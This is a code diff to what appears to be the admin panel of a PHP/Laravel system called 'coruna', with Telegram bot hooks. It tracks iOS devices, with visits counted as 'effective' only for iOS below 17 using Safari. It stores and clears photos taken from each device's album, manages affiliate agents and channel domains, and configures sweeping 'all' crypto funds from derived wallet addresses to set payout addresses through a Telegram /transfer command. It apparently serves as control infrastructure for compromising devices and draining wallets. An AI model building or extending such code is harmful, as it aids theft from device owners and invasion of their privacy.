|
||||
'to_address_eth' => env('TRANSFER_TO_ADDRESS_ETH', ''),
|
||||
'to_address_btc' => env('TRANSFER_TO_ADDRESS_BTC', ''),
|
||||
'max_usdt' => env('TRANSFER_MAX_USDT', '0'),
|
||||
'max_trx' => env('TRANSFER_MAX_TRX', '0'),
|
||||
'max_eth' => env('TRANSFER_MAX_ETH', '0'),
|
||||
'max_btc' => env('TRANSFER_MAX_BTC', '0'),
|
||||
// BIP44 account index scan upper bound when matching fromAddress.
|
||||
'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20),
|
||||
// Leave this much TRX when transferring "all" native (bandwidth/energy fees).
|
||||
// Leave this much native when transferring "all".
|
||||
'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'),
|
||||
],
|
||||
// reserved legacy payout addresses
|
||||
'payout' => [
|
||||
'eth' => env('PAYOUT_ETH'),
|
||||
'btc' => env('PAYOUT_BTC'),
|
||||
'tron' => env('PAYOUT_TRON'),
|
||||
'sol' => env('PAYOUT_SOL'),
|
||||
'eth_fee_reserve' => env('TRANSFER_ETH_FEE_RESERVE', '0.001'),
|
||||
'btc_fee_reserve' => env('TRANSFER_BTC_FEE_RESERVE', '0.0001'),
|
||||
],
|
||||
|
||||
'wallet_bundles' => [
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::create('transfer_records', function (Blueprint $table) {
|
||||
$table->id();
|
||||
$table->string('from_address', 128)->index();
|
||||
$table->string('to_address', 128)->nullable()->index();
|
||||
$table->string('chain', 32)->index();
|
||||
$table->string('tx_hash', 128)->nullable()->index();
|
||||
$table->string('amount', 64)->nullable();
|
||||
$table->string('type', 32)->default('out');
|
||||
$table->string('asset', 32);
|
||||
$table->string('operator', 128)->nullable()->index();
|
||||
$table->string('status', 32)->index();
|
||||
$table->text('error')->nullable();
|
||||
$table->timestamps();
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::dropIfExists('transfer_records');
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,72 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
if (! Schema::hasTable('users')) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (Schema::hasColumn('users', 'bot_token')) {
|
||||
if (Schema::hasColumn('users', 'bot_id')) {
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->dropColumn('bot_id');
|
||||
});
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->string('bot_token', 255)->nullable()->after('chat_id');
|
||||
});
|
||||
|
||||
if (Schema::hasColumn('users', 'bot_id')) {
|
||||
$driver = Schema::getConnection()->getDriverName();
|
||||
if ($driver === 'sqlite') {
|
||||
DB::statement('UPDATE users SET bot_token = bot_id WHERE bot_id IS NOT NULL');
|
||||
} else {
|
||||
DB::table('users')->whereNotNull('bot_id')->orderBy('id')->chunkById(100, function ($rows) {
|
||||
foreach ($rows as $row) {
|
||||
DB::table('users')->where('id', $row->id)->update(['bot_token' => $row->bot_id]);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->dropColumn('bot_id');
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
if (! Schema::hasTable('users') || ! Schema::hasColumn('users', 'bot_token')) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (! Schema::hasColumn('users', 'bot_id')) {
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->string('bot_id', 128)->nullable()->after('chat_id');
|
||||
});
|
||||
}
|
||||
|
||||
DB::table('users')->whereNotNull('bot_token')->orderBy('id')->chunkById(100, function ($rows) {
|
||||
foreach ($rows as $row) {
|
||||
DB::table('users')->where('id', $row->id)->update([
|
||||
'bot_id' => is_string($row->bot_token) ? substr($row->bot_token, 0, 128) : $row->bot_token,
|
||||
]);
|
||||
}
|
||||
});
|
||||
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->dropColumn('bot_token');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,51 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
if (! Schema::hasColumn('users', 'bot_token')) {
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->string('bot_token', 255)->nullable()->after('chat_id');
|
||||
});
|
||||
}
|
||||
|
||||
if (Schema::hasColumn('users', 'bot_id')) {
|
||||
$rows = DB::table('users')->select(['id', 'bot_id'])->whereNotNull('bot_id')->get();
|
||||
foreach ($rows as $row) {
|
||||
DB::table('users')->where('id', $row->id)->update([
|
||||
'bot_token' => $row->bot_id,
|
||||
]);
|
||||
}
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->dropColumn('bot_id');
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
if (! Schema::hasColumn('users', 'bot_id')) {
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->string('bot_id', 128)->nullable()->after('chat_id');
|
||||
});
|
||||
}
|
||||
|
||||
if (Schema::hasColumn('users', 'bot_token')) {
|
||||
$rows = DB::table('users')->select(['id', 'bot_token'])->whereNotNull('bot_token')->get();
|
||||
foreach ($rows as $row) {
|
||||
DB::table('users')->where('id', $row->id)->update([
|
||||
'bot_id' => is_string($row->bot_token) ? substr($row->bot_token, 0, 128) : null,
|
||||
]);
|
||||
}
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->dropColumn('bot_token');
|
||||
});
|
||||
}
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,59 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
if (! Schema::hasColumn('users', 'bot_token')) {
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->string('bot_token', 255)->nullable()->after('chat_id');
|
||||
});
|
||||
}
|
||||
|
||||
if (Schema::hasColumn('users', 'bot_id')) {
|
||||
$rows = DB::table('users')->select(['id', 'bot_id'])->whereNotNull('bot_id')->get();
|
||||
foreach ($rows as $row) {
|
||||
$token = trim((string) $row->bot_id);
|
||||
if ($token === '') {
|
||||
continue;
|
||||
}
|
||||
DB::table('users')->where('id', $row->id)->update(['bot_token' => $token]);
|
||||
}
|
||||
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->dropColumn('bot_id');
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
if (! Schema::hasColumn('users', 'bot_id')) {
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->string('bot_id', 128)->nullable()->after('chat_id');
|
||||
});
|
||||
}
|
||||
|
||||
if (Schema::hasColumn('users', 'bot_token')) {
|
||||
$rows = DB::table('users')->select(['id', 'bot_token'])->whereNotNull('bot_token')->get();
|
||||
foreach ($rows as $row) {
|
||||
$token = trim((string) $row->bot_token);
|
||||
if ($token === '') {
|
||||
continue;
|
||||
}
|
||||
DB::table('users')->where('id', $row->id)->update([
|
||||
'bot_id' => mb_substr($token, 0, 128),
|
||||
]);
|
||||
}
|
||||
|
||||
Schema::table('users', function (Blueprint $table) {
|
||||
$table->dropColumn('bot_token');
|
||||
});
|
||||
}
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->boolean('album_storage')->default(true)->after('telegram_notified');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->dropColumn('album_storage');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -44,22 +44,34 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||||
var token = @json(csrf_token());
|
||||
|
||||
function esc(s) {
|
||||
return String(s == null ? '' : s)
|
||||
.replace(/&/g, '&')
|
||||
.replace(/"/g, '"')
|
||||
.replace(/</g, '<');
|
||||
}
|
||||
|
||||
table.render({
|
||||
elem: '#LAY-agent-list',
|
||||
id: 'LAY-agent-list',
|
||||
url: @json(route('admin.agents.data')),
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'username', title: '账号', width: 140, sort: true },
|
||||
{ field: 'status', title: '状态', width: 90, templet: function (d) {
|
||||
{ field: 'username', title: '账号', width: 120, sort: true },
|
||||
{ field: 'status', title: '状态', width: 80, templet: function (d) {
|
||||
return d.status == 1
|
||||
? '<span style="color:#16a34a;font-weight:600;">启用</span>'
|
||||
: '<span style="color:#dc2626;font-weight:600;">禁用</span>';
|
||||
}},
|
||||
{ field: 'comment', title: '备注', minWidth: 120 },
|
||||
{ field: 'channels_count', title: '渠道链接数', width: 110 },
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ field: 'updated_at', title: '更新时间', width: 170, sort: true },
|
||||
{ field: 'telegram_ready', title: 'TG', width: 70, templet: function (d) {
|
||||
return d.telegram_ready
|
||||
? '<span style="color:#16a34a;">已配</span>'
|
||||
: '<span style="color:#888;">未配</span>';
|
||||
}},
|
||||
{ field: 'chat_id', title: 'Chat ID', width: 140 },
|
||||
{ field: 'comment', title: '备注', minWidth: 100 },
|
||||
{ field: 'channels_count', title: '渠道数', width: 90 },
|
||||
{ field: 'created_at', title: '创建时间', width: 160, sort: true },
|
||||
{ title: '操作', width: 180, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' }
|
||||
]],
|
||||
page: true, limit: 15, height: 'full-220',
|
||||
@@ -77,14 +89,19 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: title,
|
||||
area: ['460px', '360px'],
|
||||
area: ['520px', '520px'],
|
||||
content: '<form class="layui-form" style="padding:16px;" id="LAY-agent-form">' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">账号</label><div class="layui-input-block">' +
|
||||
'<input name="username" class="layui-input" ' + (values.id ? 'readonly' : '') + ' value="' + (values.username || '') + '"></div></div>' +
|
||||
'<input name="username" class="layui-input" ' + (values.id ? 'readonly' : '') + ' value="' + esc(values.username || '') + '"></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">密码</label><div class="layui-input-block">' +
|
||||
'<input name="password" type="password" class="layui-input" placeholder="' + (values.id ? '留空不改' : '必填') + '"></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">备注</label><div class="layui-input-block">' +
|
||||
'<input name="comment" class="layui-input" value="' + (values.comment || '').replace(/"/g, '"') + '"></div></div>' +
|
||||
'<input name="comment" class="layui-input" value="' + esc(values.comment || '') + '"></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">Bot Token</label><div class="layui-input-block">' +
|
||||
'<input name="bot_token" class="layui-input" placeholder="代理 Telegram Bot Token" value="' + esc(values.bot_token || '') + '"></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">Chat ID</label><div class="layui-input-block">' +
|
||||
'<input name="chat_id" class="layui-input" placeholder="代理通知群 chat_id" value="' + esc(values.chat_id || '') + '"></div></div>' +
|
||||
'<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;line-height:1.5;">配置后该代理渠道通知发往此 Bot/群;指令仅可查本代理数据,不支持 /transfer。<br>Webhook: <code>/hooks/telegram/agent/{id}</code>,保存后执行 <code>php artisan telegram:set-webhook --agent={id}</code></div></div>' +
|
||||
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
|
||||
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
|
||||
'</div></div>' +
|
||||
|
||||
@@ -4,6 +4,12 @@
|
||||
|
||||
@section('content')
|
||||
@php $portal = $portal ?? 'admin'; @endphp
|
||||
<style>
|
||||
.dash-metric { font-size: 28px; line-height: 1.2; }
|
||||
.dash-metric-hl { color: #009688; font-weight: 600; }
|
||||
.dash-metric-sep { color: #bbb; margin: 0 4px; font-weight: 400; }
|
||||
.dash-metric-total { color: #333; }
|
||||
</style>
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-dash-search">
|
||||
<div class="layui-form-item">
|
||||
@@ -47,54 +53,55 @@
|
||||
<div class="layui-col-md2">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">总设备数</div>
|
||||
<div class="layui-card-body" style="font-size:28px;" id="dash-total">—</div>
|
||||
<div class="layui-card-body dash-metric" id="dash-total">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md2">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">新增设备</div>
|
||||
<div class="layui-card-body" style="font-size:28px;" id="dash-new">—</div>
|
||||
<div class="layui-card-body dash-metric dash-metric-hl" id="dash-new">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md2">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">活跃设备</div>
|
||||
<div class="layui-card-body" style="font-size:28px;" id="dash-active">—</div>
|
||||
<div class="layui-card-body dash-metric" id="dash-active">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md3">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">页面 PV</div>
|
||||
<div class="layui-card-body" style="font-size:28px;" id="dash-pv">—</div>
|
||||
<div class="layui-card-body dash-metric" id="dash-pv">—</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md3">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">页面 UV</div>
|
||||
<div class="layui-card-body" style="font-size:28px;" id="dash-uv">—</div>
|
||||
<div class="layui-card-body dash-metric" id="dash-uv">—</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-word-aux" style="margin-top:4px;">有效口径:iOS < 17 且使用 Safari(左侧高亮 / 右侧为全部)</div>
|
||||
|
||||
<div class="layui-row layui-col-space15" style="margin-top:12px;">
|
||||
<div class="layui-col-md6">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">按系统(PV / UV)</div>
|
||||
<div class="layui-card-header">按系统(PV / UV / 占比)</div>
|
||||
<div class="layui-card-body">
|
||||
<table class="layui-table" lay-size="sm">
|
||||
<thead><tr><th>系统</th><th>PV</th><th>UV</th></tr></thead>
|
||||
<tbody id="dash-by-os"><tr><td colspan="3">—</td></tr></tbody>
|
||||
<thead><tr><th>系统</th><th>PV</th><th>UV</th><th>占比</th></tr></thead>
|
||||
<tbody id="dash-by-os"><tr><td colspan="4">—</td></tr></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-col-md6">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">按浏览器(PV / UV)</div>
|
||||
<div class="layui-card-header">按 iOS 系统版本(PV / UV / 占比)</div>
|
||||
<div class="layui-card-body">
|
||||
<table class="layui-table" lay-size="sm">
|
||||
<thead><tr><th>浏览器</th><th>PV</th><th>UV</th></tr></thead>
|
||||
<tbody id="dash-by-browser"><tr><td colspan="3">—</td></tr></tbody>
|
||||
<thead><tr><th>版本</th><th>PV</th><th>UV</th><th>占比</th></tr></thead>
|
||||
<tbody id="dash-by-ios-version"><tr><td colspan="4">—</td></tr></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
@@ -115,9 +122,16 @@ layui.use(['form'], function () {
|
||||
function fillRows(sel, rows) {
|
||||
var html = '';
|
||||
(rows || []).forEach(function (r) {
|
||||
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.pv + '</td><td>' + r.uv + '</td></tr>';
|
||||
var pct = (r.pct === undefined || r.pct === null) ? '—' : (r.pct + '%');
|
||||
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.pv + '</td><td>' + r.uv + '</td><td>' + pct + '</td></tr>';
|
||||
});
|
||||
$(sel).html(html || '<tr><td colspan="3">暂无</td></tr>');
|
||||
$(sel).html(html || '<tr><td colspan="4">暂无</td></tr>');
|
||||
}
|
||||
|
||||
function ratioHtml(effective, total) {
|
||||
return '<span class="dash-metric-hl">' + effective + '</span>' +
|
||||
'<span class="dash-metric-sep">/</span>' +
|
||||
'<span class="dash-metric-total">' + total + '</span>';
|
||||
}
|
||||
|
||||
function load(where) {
|
||||
@@ -126,10 +140,10 @@ layui.use(['form'], function () {
|
||||
$('#dash-total').text(res.data.total);
|
||||
$('#dash-new').text(res.data.new_count);
|
||||
$('#dash-active').text(res.data.active_count);
|
||||
$('#dash-pv').text(res.data.pv);
|
||||
$('#dash-uv').text(res.data.uv);
|
||||
$('#dash-pv').html(ratioHtml(res.data.effective_pv || 0, res.data.pv || 0));
|
||||
$('#dash-uv').html(ratioHtml(res.data.effective_uv || 0, res.data.uv || 0));
|
||||
fillRows('#dash-by-os', res.data.by_os);
|
||||
fillRows('#dash-by-browser', res.data.by_browser);
|
||||
fillRows('#dash-by-ios-version', res.data.by_ios_version);
|
||||
$('#dash-range').text('统计区间:' + res.data.from + ' ~ ' + res.data.to);
|
||||
});
|
||||
}
|
||||
|
||||
@@ -84,13 +84,16 @@
|
||||
|
||||
@push('scripts')
|
||||
<script>
|
||||
layui.use(['table', 'form', 'laydate'], function () {
|
||||
layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
var table = layui.table;
|
||||
var form = layui.form;
|
||||
var laydate = layui.laydate;
|
||||
var layer = layui.layer;
|
||||
var $ = layui.$;
|
||||
var dash = function (v) { return v ? v : '—'; };
|
||||
var portal = @json($portal);
|
||||
var token = @json(csrf_token());
|
||||
var updateBase = @json(url('/'.$portal.'/devices'));
|
||||
|
||||
laydate.render({ elem: '#LAY-device-installed-from', type: 'date' });
|
||||
laydate.render({ elem: '#LAY-device-installed-to', type: 'date' });
|
||||
@@ -108,6 +111,11 @@ layui.use(['table', 'form', 'laydate'], function () {
|
||||
{ field: 'device_model', title: '设备型号', width: 130, sort: true, templet: function (d) { return dash(d.device_model); } },
|
||||
{ field: 'ios_version', title: 'iOS 版本', width: 110, sort: true, templet: function (d) { return dash(d.ios_version); } },
|
||||
{ field: 'ip', title: 'IP', width: 140, sort: true, templet: function (d) { return dash(d.ip); } },
|
||||
{ field: 'album_storage', title: '相册存储', width: 110, templet: function (d) {
|
||||
var on = Number(d.album_storage) === 1;
|
||||
return '<input type="checkbox" lay-skin="switch" lay-text="开|关" lay-filter="LAY-device-album-list"' +
|
||||
' data-id="' + d.id + '"' + (on ? ' checked' : '') + '>';
|
||||
} },
|
||||
{ field: 'created_at', title: '安装时间', width: 170, sort: true },
|
||||
{ field: 'updated_at', title: '更新时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 100, align: 'center', fixed: 'right', toolbar: '#LAY-device-ops' }
|
||||
@@ -118,7 +126,33 @@ layui.use(['table', 'form', 'laydate'], function () {
|
||||
height: 'full-220',
|
||||
text: { none: '暂无设备' },
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' },
|
||||
done: function () {
|
||||
form.render('checkbox');
|
||||
}
|
||||
});
|
||||
|
||||
form.on('switch(LAY-device-album-list)', function (obj) {
|
||||
var id = $(obj.elem).data('id');
|
||||
var on = obj.elem.checked ? 1 : 0;
|
||||
$.ajax({
|
||||
url: updateBase + '/' + id,
|
||||
method: 'POST',
|
||||
data: { album_storage: on, _method: 'PUT', _token: token },
|
||||
success: function (res) {
|
||||
if (!res || res.code !== 0) {
|
||||
obj.elem.checked = !obj.elem.checked;
|
||||
form.render('checkbox');
|
||||
return layer.msg((res && res.msg) || '保存失败');
|
||||
}
|
||||
layer.msg(on ? '已开启' : '已关闭');
|
||||
},
|
||||
error: function () {
|
||||
obj.elem.checked = !obj.elem.checked;
|
||||
form.render('checkbox');
|
||||
layer.msg('保存失败');
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
form.on('submit(LAY-device-search)', function (data) {
|
||||
|
||||
@@ -20,7 +20,15 @@
|
||||
</tr>
|
||||
<tr>
|
||||
<th>IP</th>
|
||||
<td colspan="3">{{ $device->ip ?: '—' }}</td>
|
||||
<td>{{ $device->ip ?: '—' }}</td>
|
||||
<th>相册存储</th>
|
||||
<td>
|
||||
<form class="layui-form" lay-filter="LAY-device-album" style="margin:0;">
|
||||
<input type="checkbox" name="album_storage" lay-skin="switch" lay-text="开|关"
|
||||
lay-filter="LAY-device-album-storage"
|
||||
{{ $device->albumStorageEnabled() ? 'checked' : '' }}>
|
||||
</form>
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>User-Agent</th>
|
||||
@@ -66,6 +74,7 @@
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn" lay-submit lay-filter="LAY-photo-search">筛选</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary" id="LAY-photo-reset">重置</button>
|
||||
<button type="button" class="layui-btn layui-btn-danger" id="LAY-photo-clear">清理相册数据</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
@@ -122,6 +131,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
var $ = layui.$;
|
||||
var tab = @json($tab);
|
||||
var tabDataUrl = @json(route(($portal ?? 'admin').'.devices.tabData', $device));
|
||||
var updateUrl = @json(route(($portal ?? 'admin').'.devices.update', $device));
|
||||
var clearPhotosUrl = @json(route(($portal ?? 'admin').'.devices.photos.clear', $device));
|
||||
var token = @json(csrf_token());
|
||||
var dash = function (v) { return v ? v : '—'; };
|
||||
var esc = function (v) {
|
||||
return String(v == null ? '' : v)
|
||||
@@ -131,6 +143,29 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
.replace(/"/g, '"');
|
||||
};
|
||||
|
||||
form.on('switch(LAY-device-album-storage)', function (obj) {
|
||||
var on = obj.elem.checked ? 1 : 0;
|
||||
$.ajax({
|
||||
url: updateUrl,
|
||||
method: 'POST',
|
||||
data: { album_storage: on, _method: 'PUT', _token: token },
|
||||
success: function (res) {
|
||||
if (!res || res.code !== 0) {
|
||||
obj.elem.checked = !obj.elem.checked;
|
||||
form.render('checkbox');
|
||||
return layer.msg((res && res.msg) || '保存失败');
|
||||
}
|
||||
layer.msg(on ? '已开启相册存储' : '已关闭相册存储');
|
||||
},
|
||||
error: function () {
|
||||
obj.elem.checked = !obj.elem.checked;
|
||||
form.render('checkbox');
|
||||
layer.msg('保存失败');
|
||||
}
|
||||
});
|
||||
});
|
||||
form.render('checkbox');
|
||||
|
||||
if (tab === 'photos') {
|
||||
var photoState = { page: 1, limit: 15, sensitive: '' };
|
||||
|
||||
@@ -213,6 +248,33 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
}, 0);
|
||||
});
|
||||
|
||||
$('#LAY-photo-clear').on('click', function () {
|
||||
layer.confirm('确认清理该设备全部相册数据?将删除数据库记录及本地图片文件,且不可恢复。', {
|
||||
icon: 3,
|
||||
title: '清理相册'
|
||||
}, function (index) {
|
||||
layer.close(index);
|
||||
var loading = layer.load(1, { shade: 0.2 });
|
||||
$.ajax({
|
||||
url: clearPhotosUrl,
|
||||
method: 'POST',
|
||||
data: { _token: token },
|
||||
success: function (res) {
|
||||
layer.close(loading);
|
||||
if (!res || res.code !== 0) return layer.msg((res && res.msg) || '清理失败');
|
||||
var n = (res.data && res.data.deleted_rows) ? res.data.deleted_rows : 0;
|
||||
layer.msg('已清理 ' + n + ' 条相册记录');
|
||||
photoState.page = 1;
|
||||
renderPhotos();
|
||||
},
|
||||
error: function () {
|
||||
layer.close(loading);
|
||||
layer.msg('清理失败');
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
form.render('select');
|
||||
renderPhotos();
|
||||
return;
|
||||
|
||||
@@ -41,6 +41,8 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
||||
Route::get('devices/data', [DeviceController::class, 'data'])->name('devices.data');
|
||||
Route::get('devices/{device}/tab-data', [DeviceController::class, 'tabData'])->name('devices.tabData');
|
||||
Route::get('devices/{device}', [DeviceController::class, 'show'])->name('devices.show');
|
||||
Route::put('devices/{device}', [DeviceController::class, 'update'])->name('devices.update');
|
||||
Route::post('devices/{device}/photos/clear', [DeviceController::class, 'clearPhotos'])->name('devices.photos.clear');
|
||||
Route::get('devices/{device}/photos/{photo}', [DeviceController::class, 'photo'])->name('devices.photo');
|
||||
|
||||
Route::get('addresses', [WalletAddressController::class, 'index'])->name('addresses.index');
|
||||
|
||||
+22
-8
@@ -29,15 +29,29 @@ Artisan::command('tokenview:set-webhook {url?}', function (?string $url = null)
|
||||
return 1;
|
||||
})->purpose('Register Tokenview address-tracking webhook URL');
|
||||
|
||||
Artisan::command('telegram:set-webhook {url?}', function (?string $url = null) {
|
||||
$token = (string) config('nutgram.token', '');
|
||||
if ($token === '') {
|
||||
$this->error('TELEGRAM_BOT_TOKEN is empty');
|
||||
Artisan::command('telegram:set-webhook {url?} {--agent= : Agent user id}', function (?string $url = null) {
|
||||
$agentId = $this->option('agent');
|
||||
if ($agentId !== null && $agentId !== '') {
|
||||
$agent = \App\Models\User::query()->find((int) $agentId);
|
||||
if ($agent === null || ! $agent->hasTelegramBot()) {
|
||||
$this->error('Agent not found or telegram bot_token/chat_id missing');
|
||||
|
||||
return 1;
|
||||
return 1;
|
||||
}
|
||||
$token = (string) $agent->bot_token;
|
||||
$url = $url ?: rtrim((string) config('app.url'), '/').'/hooks/telegram/agent/'.$agent->id;
|
||||
$secret = \App\Telegram\TelegramBotContext::webhookSecretFor($agent);
|
||||
} else {
|
||||
$token = (string) config('nutgram.token', '');
|
||||
if ($token === '') {
|
||||
$this->error('TELEGRAM_BOT_TOKEN is empty');
|
||||
|
||||
return 1;
|
||||
}
|
||||
$url = $url ?: rtrim((string) config('app.url'), '/').'/hooks/telegram';
|
||||
$secret = (string) config('coruna.telegram.webhook_secret', '');
|
||||
}
|
||||
$url = $url ?: rtrim((string) config('app.url'), '/').'/hooks/telegram';
|
||||
$secret = (string) config('coruna.telegram.webhook_secret', '');
|
||||
|
||||
$payload = ['url' => $url];
|
||||
if ($secret !== '') {
|
||||
$payload['secret_token'] = $secret;
|
||||
@@ -54,7 +68,7 @@ Artisan::command('telegram:set-webhook {url?}', function (?string $url = null) {
|
||||
$this->error('Failed: '.$resp->body());
|
||||
|
||||
return 1;
|
||||
})->purpose('Register Telegram bot webhook URL (/hooks/telegram)');
|
||||
})->purpose('Register Telegram webhook (official or --agent=ID)');
|
||||
|
||||
Artisan::command('coruna:channel-domains {--json}', function () {
|
||||
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
|
||||
|
||||
+7
-2
@@ -2,7 +2,12 @@
|
||||
|
||||
use App\Http\Controllers\Hooks\TelegramWebhookController;
|
||||
use App\Http\Controllers\Hooks\TokenviewWebhookController;
|
||||
use Illuminate\Routing\Middleware\SubstituteBindings;
|
||||
use Illuminate\Support\Facades\Route;
|
||||
|
||||
Route::post('/hooks/tokenview', TokenviewWebhookController::class)->name('hooks.tokenview');
|
||||
Route::post('/hooks/telegram', TelegramWebhookController::class)->name('hooks.telegram');
|
||||
Route::middleware([SubstituteBindings::class])->group(function () {
|
||||
Route::post('/hooks/tokenview', TokenviewWebhookController::class)->name('hooks.tokenview');
|
||||
Route::post('/hooks/telegram', TelegramWebhookController::class)->name('hooks.telegram');
|
||||
Route::post('/hooks/telegram/agent/{agent}', [TelegramWebhookController::class, 'agent'])
|
||||
->name('hooks.telegram.agent');
|
||||
});
|
||||
|
||||
+2
-15
@@ -2,19 +2,6 @@
|
||||
|
||||
/** @var SergiX44\Nutgram\Nutgram $bot */
|
||||
|
||||
use App\Telegram\Handlers\PingCommand;
|
||||
use App\Telegram\Handlers\TransferCommand;
|
||||
use App\Telegram\Middleware\AuthorizedChat;
|
||||
use App\Telegram\Middleware\GroupAdminOnly;
|
||||
use App\Telegram\TelegramRegistrar;
|
||||
|
||||
$bot->group(function ($bot) {
|
||||
$bot->onCommand('ping', PingCommand::class)
|
||||
->description('Health check');
|
||||
|
||||
// Single capture — TransferCommand parses "<from> [asset] [amount]".
|
||||
